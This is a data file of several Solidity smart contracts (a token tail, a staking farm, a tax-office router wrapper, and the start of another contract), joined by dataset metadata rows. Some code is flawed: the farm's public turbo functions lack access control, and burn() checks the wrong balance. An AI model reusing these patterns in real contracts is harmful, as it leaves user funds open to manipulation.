uint freezeAmount = 0;
uint t = now;
for(uint i=0;i< bi.freezeAmount.length;i++){
if(t < bi.releaseTime[i])
freezeAmount += bi.freezeAmount[i];
}
return freezeAmount;
}
function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
uint freezeAmount = freezeOf(msg.sender);
uint256 _balance = balances[msg.sender].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[msg.sender].balance = balances[msg.sender].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) {
require(_from != address(0) && _to != address(0));
require(_amount <= allowed[_from][msg.sender]);
uint freezeAmount = freezeOf(_from);
uint256 _balance = balances[_from].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[_from].balance = balances[_from].balance.sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) {
return false;
}
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
require(myAddress.balance > 0);
owner.transfer(myAddress.balance);
emit Transfer(this, owner, myAddress.balance);
}
function burn(address burner, uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender].balance);
balances[burner].balance = balances[burner].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
Supply = totalSupply / EthRate;
emit Burn(burner, _value);
}
}
| 205,032 | 13,259 |
6ff728de704026890f0308e8275f20bdaea9dcc46ca4eae48c73c4798744792c
| 22,098 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xdef8Dd6Daf398F4be880EF61C11b4158e8501Afe/contract.sol
| 4,222 | 16,715 |
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface OldIERC20 {
function transfer(address, uint) external;
}
contract BnbBUSDBrikFarming is Ownable {
using SafeMath for uint;
using Math for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address and reward token contract address
// these contracts are "trusted" and checked to not contain re-entrancy pattern
// to safely avoid checks-effects-interactions where needed to simplify logic
address public trustedDepositTokenAddress = 0x1B96B92314C44b159149f7E0303511fB2Fc4774f;
address public trustedRewardTokenAddress = 0x4C4ddfAfDE9dE8EDF1CCC588747F087FBF619A27;
// Amount of tokens
uint public disburseAmount = 10000e18;
// To be disbursed continuously over this duration
uint public disburseDuration = 300 days;
// If there are any undistributed or unclaimed tokens left in contract after this time
// Admin can claim them
uint public adminCanClaimAfter = 7 hours;
// do not change this => disburse 100% rewards over `disburseDuration`
uint public disbursePercentX100 = 100e2;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor() public {
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
uint public turboStartTime = 0;
bool public turboMode;
uint public rewardsAmount = 0;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function getStartTurbo() public {
turboStartTime = now;
turboMode = true;
}
function endTurbo() public {
turboMode = false;
}
function updateAccount(address account) private {
disburseTokens();
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getEstimatedPendingDivs(address _holder) public view returns (uint) {
uint pendingDivs = getPendingDivs(_holder);
uint pendingDisbursement = getPendingDisbursement();
if (contractBalance < pendingDisbursement) {
pendingDisbursement = contractBalance;
}
uint depositedAmount = depositedTokens[_holder];
if (depositedAmount == 0) return 0;
if (totalTokens == 0) return 0;
uint myShare = depositedAmount.mul(pendingDisbursement).div(totalTokens);
return pendingDivs.add(myShare);
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens!");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// withdraw without caring about Rewards
function emergencyWithdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens!");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// manual update account here without withdrawing pending rewards
disburseTokens();
lastClaimedTime[msg.sender] = now;
lastDivPoints[msg.sender] = totalDivPoints;
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function disburseTokens() private {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0 || totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = now;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff;
uint _now = now;
uint _stakingEndTime = contractDeployTime.add(disburseDuration);
if (_now > _stakingEndTime) {
_now = _stakingEndTime;
}
if (lastDisburseTime >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastDisburseTime);
}
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
uint timeDiffTurbo;
uint pendingTurbo = 0;
if (turboMode) {
timeDiffTurbo = _now.sub(lastDisburseTime.max(turboStartTime)); // add math librairie
pendingTurbo = disburseAmount
.mul(10) // turbo multiplier
.mul(disbursePercentX100)
.mul(timeDiffTurbo)
.div(disburseDuration)
.div(10000);
}
pendingDisburse = pendingDisburse.add(pendingTurbo);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow owner to claim *other* modern ERC20 tokens sent to this contract
function transferAnyERC20Token(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens Yet!");
require(Token(_tokenAddr).transfer(_to, _amount), "Could not transfer out tokens!");
}
// function to allow owner to claim *other* modern ERC20 tokens sent to this contract
function transferAnyOldERC20Token(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens Yet!");
OldIERC20(_tokenAddr).transfer(_to, _amount);
}
}
| 251,513 | 13,260 |
4e083569db138e701ee84e5caa61fe42af9573923dfc4104353f2038a292973b
| 24,301 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/10/1020EB27215188070058632bFa4061E8026A3D31_TaxOfficeV2.sol
| 4,176 | 16,247 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
interface ITaxable {
function setTaxTiersTwap(uint8 _index, uint256 _value) external returns (bool);
function setTaxTiersRate(uint8 _index, uint256 _value) external returns (bool);
function enableAutoCalculateTax() external;
function disableAutoCalculateTax() external;
function setTaxCollectorAddress(address _taxCollectorAddress) external;
function isAddressExcluded(address _address) external returns (bool);
function setTaxRate(uint256 _taxRate) external;
function setBurnThreshold(uint256 _burnThreshold) external;
function excludeAddress(address _address) external returns (bool);
function includeAddress(address _address) external returns (bool);
function setCloudOracle(address _cloudOracle) external;
function setTaxOffice(address _taxOffice) external;
function taxRate() external view returns (uint256);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TaxOfficeV2 is Operator {
using SafeMath for uint256;
address public cloud = address(0xfC86C61b87E3BC3462b2f2ef80632524C23F2d85);
address public wftm = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public uniRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
mapping(address => bool) public taxExclusionEnabled;
function setTaxTiersTwap(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(cloud).setTaxTiersTwap(_index, _value);
}
function setTaxTiersRate(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(cloud).setTaxTiersRate(_index, _value);
}
function enableAutoCalculateTax() public onlyOperator {
ITaxable(cloud).enableAutoCalculateTax();
}
function disableAutoCalculateTax() public onlyOperator {
ITaxable(cloud).disableAutoCalculateTax();
}
function setTaxRate(uint256 _taxRate) public onlyOperator {
ITaxable(cloud).setTaxRate(_taxRate);
}
function setBurnThreshold(uint256 _burnThreshold) public onlyOperator {
ITaxable(cloud).setBurnThreshold(_burnThreshold);
}
function setTaxCollectorAddress(address _taxCollectorAddress) public onlyOperator {
ITaxable(cloud).setTaxCollectorAddress(_taxCollectorAddress);
}
function excludeAddressFromTax(address _address) external onlyOperator returns (bool) {
return _excludeAddressFromTax(_address);
}
function _excludeAddressFromTax(address _address) private returns (bool) {
if (!ITaxable(cloud).isAddressExcluded(_address)) {
return ITaxable(cloud).excludeAddress(_address);
}
}
function includeAddressInTax(address _address) external onlyOperator returns (bool) {
return _includeAddressInTax(_address);
}
function _includeAddressInTax(address _address) private returns (bool) {
if (ITaxable(cloud).isAddressExcluded(_address)) {
return ITaxable(cloud).includeAddress(_address);
}
}
function taxRate() external view returns (uint256) {
return ITaxable(cloud).taxRate();
}
function addLiquidityTaxFree(address token,
uint256 amtCloud,
uint256 amtToken,
uint256 amtCloudMin,
uint256 amtTokenMin)
external
returns (uint256,
uint256,
uint256)
{
require(amtCloud != 0 && amtToken != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(cloud).transferFrom(msg.sender, address(this), amtCloud);
IERC20(token).transferFrom(msg.sender, address(this), amtToken);
_approveTokenIfNeeded(cloud, uniRouter);
_approveTokenIfNeeded(token, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtCloud;
uint256 resultAmtToken;
uint256 liquidity;
(resultAmtCloud, resultAmtToken, liquidity) = IUniswapV2Router(uniRouter).addLiquidity(cloud,
token,
amtCloud,
amtToken,
amtCloudMin,
amtTokenMin,
msg.sender,
block.timestamp);
if(amtCloud.sub(resultAmtCloud) > 0) {
IERC20(cloud).transfer(msg.sender, amtCloud.sub(resultAmtCloud));
}
if(amtToken.sub(resultAmtToken) > 0) {
IERC20(token).transfer(msg.sender, amtToken.sub(resultAmtToken));
}
return (resultAmtCloud, resultAmtToken, liquidity);
}
function addLiquidityETHTaxFree(uint256 amtCloud,
uint256 amtCloudMin,
uint256 amtFtmMin)
external
payable
returns (uint256,
uint256,
uint256)
{
require(amtCloud != 0 && msg.value != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(cloud).transferFrom(msg.sender, address(this), amtCloud);
_approveTokenIfNeeded(cloud, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtCloud;
uint256 resultAmtFtm;
uint256 liquidity;
(resultAmtCloud, resultAmtFtm, liquidity) = IUniswapV2Router(uniRouter).addLiquidityETH{value: msg.value}(cloud,
amtCloud,
amtCloudMin,
amtFtmMin,
msg.sender,
block.timestamp);
if(amtCloud.sub(resultAmtCloud) > 0) {
IERC20(cloud).transfer(msg.sender, amtCloud.sub(resultAmtCloud));
}
return (resultAmtCloud, resultAmtFtm, liquidity);
}
function setTaxableCloudOracle(address _cloudOracle) external onlyOperator {
ITaxable(cloud).setCloudOracle(_cloudOracle);
}
function transferTaxOffice(address _newTaxOffice) external onlyOperator {
ITaxable(cloud).setTaxOffice(_newTaxOffice);
}
function taxFreeTransferFrom(address _sender,
address _recipient,
uint256 _amt) external {
require(taxExclusionEnabled[msg.sender], "Address not approved for tax free transfers");
_excludeAddressFromTax(_sender);
IERC20(cloud).transferFrom(_sender, _recipient, _amt);
_includeAddressInTax(_sender);
}
function setTaxExclusionForAddress(address _address, bool _excluded) external onlyOperator {
taxExclusionEnabled[_address] = _excluded;
}
function _approveTokenIfNeeded(address _token, address _router) private {
if (IERC20(_token).allowance(address(this), _router) == 0) {
IERC20(_token).approve(_router, type(uint256).max);
}
}
}
| 333,975 | 13,261 |
32d54cf104694a126d6b9e1e98c9c40a87a88c0d2f793377e4b7f3bf72248c9e
| 31,411 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3f/3fea30e584d73ca7d8c3ceedd1f1b7410a587816_Fountain.sol
| 5,562 | 19,605 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'no whitelist');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0),"2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"3");
_totalSupply = _totalSupply.sub(value);
